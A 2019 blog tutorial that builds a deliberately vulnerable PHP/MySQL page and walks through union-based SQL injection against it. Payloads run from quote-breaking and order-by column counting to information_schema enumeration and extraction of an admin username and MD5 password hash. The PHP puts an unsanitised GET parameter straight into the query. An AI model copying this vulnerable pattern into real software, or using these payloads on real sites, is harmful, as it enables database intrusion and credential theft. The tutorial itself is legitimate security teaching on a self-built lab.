Aug 20, 2019

SQL injection example

Hello guys, In a previous tutorial I explained basic theories about SQL injection. In there we talked about how we can use UNION statement to join two SQL queries and how it is possible to extract data with it. We had to use order by method because to use UNION , both quarries must fetch data from same number of columns. I suggest you to read it before going deep in this one. Because it'll hep you to understand basic theories.So in this tutorial I'm going to show you a practical SQL injection example . Hear I use a custom coded web application. If you prefer you may use bWAPP or DVWA too. First we want to see how we can make this web application.

Make it before break it !.

We use SQL and PHP for build it. First I make a table to store users data. We can use SQL create table command for this purpose. There are four columns as id,name,age and subject. If you are unfamiliar with SQL , don't worry I'l make a tutorial serious soon in our programming section. Just read the SQL statement for now. It's easy like English. :-) . As the next step I filed our user_data table with some dummy data.

CREATE TABLE `user_data` (`id` int(10) NOT NULL AUTO_INCREMENT PRIMARY KEY,`name` text NOT NULL,`age` int(10)  NOT NULL,`subject` text CHARACTER SET utf8 NOT NULL) ;

INSERT INTO  user_data (name,age,subject) VALUES ('Jhone',24,'Chemistry'),('Nikie',20,'Physics'),('Willie',26,'Math'),('Alen',22,'Computer science'),('Stack',34,'Chemistry');

At the end we have a user_data table like following. There are four columns and five rows. The id column is a PRIMARY KEY and is set to AUTO INCREMENT. So it's value is unique for every row and will be automatically incremented when we insert a new row. That's why we don't need to use it in our second SQL query.

ID Name Age Subject
1 Jhone 24 Chemistry
2 Nikie 20 Physics
3 Willie 26 Math
4 Alen 22 Computer science
5 Stack 34 Chemistry

Our web application fetches some data from above table and display it on a page . Normally web apps have administrator accounts to do some specific tasks like updating or modify it's parts. So when we make a admin login portal we need another table to store admin password and usernames. Hear we make another table called users for it.


INSERT INTO  users (user,password) VALUES ('thilan','f8b60df48fae35dfa126a1b6ccc3ceed');
Now our second table looks like following. The password is actually a md5 hash.
id user password
1 thilan f8b60df48fae35dfa126a1b6ccc3ceed

Now both tables are created and ready to serve. It's time to code our PHP script to fetch data from our database. Hear I have used mysqli procedural method. First I've defined some variables like $server,$db etc. We need them to connect to SQL database. Also note that hear we have defined another password and it's not related to above one in users table.

$server = 'localhost';
$user = 'sqli_test';
$password = '[email protected]';
$db = 'test';

$conn = mysqli_connect($server, $user, $password,$db);

// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());

$id = $_GET['id'];
$sql = "SELECT id,name,age,subject  FROM user_data where id='$id' LIMIT 0,1";

$result = mysqli_query($conn,  $sql ) or die(mysqli_error($conn));
$row = mysqli_fetch_assoc($result);
echo '<table><tr><th>Name</th><th>Subject</th></tr><tr><td>'.$row['name']. '</td><td>' .$row['subject']. '</td></tr></table>';



I hope you can understand what's going hear. Let's host this PHP file in our server and browse it. I used Apache2 and mysql .In URL we have to give an integer parameter as id. (Yes we haven't use issest() function to check if user supplied parameter or not. But don't bother about it for now :-) )
Hear is how our page looks like in Firefox.  sql injection vulnerable web appn

It displays two columns from our user_data table. It doesn't display all rows , only one which id is equal to 1. It's working fine. A simple, cool web application :-).

Now we have to assume we know nothing about back-end details of above web app. We only see the pure HTML output when we visit the URL. Because if we know all about the web app why we try to exploit it?

It's time to Hack it !.

The first step is checking if id parameter is dynamic or not. Just change it's value and see what's happening.

I changed it to two. Hear you can see now our page is different. It shows another row in the table.

sql injection int variable

Now the fussing part is begin. You know that we can break a SQL query by using a single quote. I explained why it's happening in past tutorials.'

Let's add a single quote after our id variable.

sql injection error

Awesome ! . It throws an error that saying you have an error in "your SQL syntax ..." .That means there is no input validation or sanitation. Now we can use SQL comment method to bypass this error and find a injection point to our query. Since we we are using Linux server we want to use --+ .' --+

Hear I used above method and error is gone. Now web app is functioning normally.

sql query break and fix

Now we want to find number of columns the query is using. Why we need it? Because to use UNION we have to use same number of columns to fetch data.' order by 1--+

If it's not clear please read previous tutorial to get a deep idea about above concept. Hear is what we can see when we use order by 1.

sql injection order by

Now we need to increes this number one by one like order by 1, order by 2 .. etc until you get an error.' order by 5--+

I got an error firs time when I used order by 5. Yes , You are correct . The SQL query in PHP file is fetching data from four columns.

sql injection unknown column  

Now we can use UNION with another SELECT statement. Following is the payload we use.' UNION SELECT 1,2,3,4--+
Hear is the result.

Nothing is happened. You know why that. This is because query try to get data from first SELECT statement. we can see second one's result if first SELECT statement returns nothing. Let's set a NULL or invalid value to id variable.' UNION SELECT 1,2,3,4--+

Yes, It worked. Hear we can see the output.

sql injection select

Let's use those channels to extract data. First I'm going to get some basic data about server and MySQL.' UNION SELECT 1,version(),3,4--+
When we use version() instead of 2 or 4 in our second SELECT statement we can see data we wanted in HTML page. sq injection data extract with select

There are number of other information those you an get like database() , user(). Just try to take some of those important things like database name , MySQL username etc.

Next I'm going to extract table names. Following payload can be used for it.' UNION SELECT 1,table_name,3,4 FROM information_schema.tables where table_schema=database()--+

It'lll return this output.

sq injection select table

If you want to see another table name you can use limit method. Let me explain about it quickly. The limit keyword is used in SQL to filter out or limit the number of results. if you use LIMIT 0,1 you get first result of a result set. If you use LIMIT 1,1 you may get second result. We'll talk more about this in a SQL tutorial.' UNION SELECT 1,table_name,3,4 FROM information_schema.tables where table_schema=database() limit 1,1--+
Let's see what happen. sq injection select table with limit

We successfully extracted the name of second table. But wait. We have another cool method to extract all table names at once.' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables where table_schema=database()--+

Hear we use group_concat() function . This is a SQL function that's used to get a multiple result in to one set.

sqli group concat

We got all tables in current database. If we don't specify the database with the command table_schema=database() it'll print all tables in current system. Now we know what tables are in our current database. Let's try to get column names too. First I selected user_data table. Hear is the payload that we use to get all columns in that table.' UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns where table_schema=database() AND table_name='user_data'--+

You know what does this query. Hear we can see the output of above payload.

But those data in that group doesn't seems like cool. They are can easily get via normal web application too. Do you remember there was another table called users ? Let's enter to that. In following query I have specified the table users with

table_name='users'.' UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns where table_schema=database() AND table_name='users'--+

Yeah. Hear we can see some cool information. :-) .


Now we want to extract data from those columns . How to do that? . Think about following payload.' UNION SELECT 1,group_concat(user),3,4 FROM users--+

By using above one we can easily extract username column like following.

But why I used group_concat() again? That's because if there are more rows this query wil print out all of them. We don't need to use limit method.' UNION SELECT 1,group_concat(password),3,4 FROM users--+
let's do the same with password column. The query is same. just change the column name that you want to get data.


We were able to successfully exploit a SQL injection flow of a web application and extract data though it. Not only steps for a SQLi. I explained all of back-end web app and SQL injection concept also in these three tutorials. I hope now you have a great understanding about SQL injection.

Now it's not the all about SQL injection. We have lot of more interesting things to learn. Actually this is an error based SQL injection tutorial. We can call it Union based SQL injection too. In next ones I'll explain about blind SQLi , XPATH injection etc. Keep tuned. :-) . If you learned something please share the tutorial. So it'll help HacksLand to grow more. Thanks you. Don't forget to leave a comment.

Aug 12
How to use python as a http server

Hello guys, Today I'm hear with another quick tutorial. in this one I'll explain you how we can....

Sep 05
PHP MySQL tutorial | create delete and modify tables

This is the second tutorial of our PHP+MySQL tutorial serious.In last tutorial we saw that how we....

Jun 19
Debugging Binaries with GDB

GDB is shipped with the GNU toolset. It is a debugging tool used in Linux environments. The term....

Replying to 's comment Cancel reply
Thilan Danushka Dissanayaka

Thilan Dissanayaka

Hi, I'm Thilan from Srilanka. An undergraduate Engineering student of University of Ruhuna. I love to explorer things about CS, Hacking, Reverse engineering etc.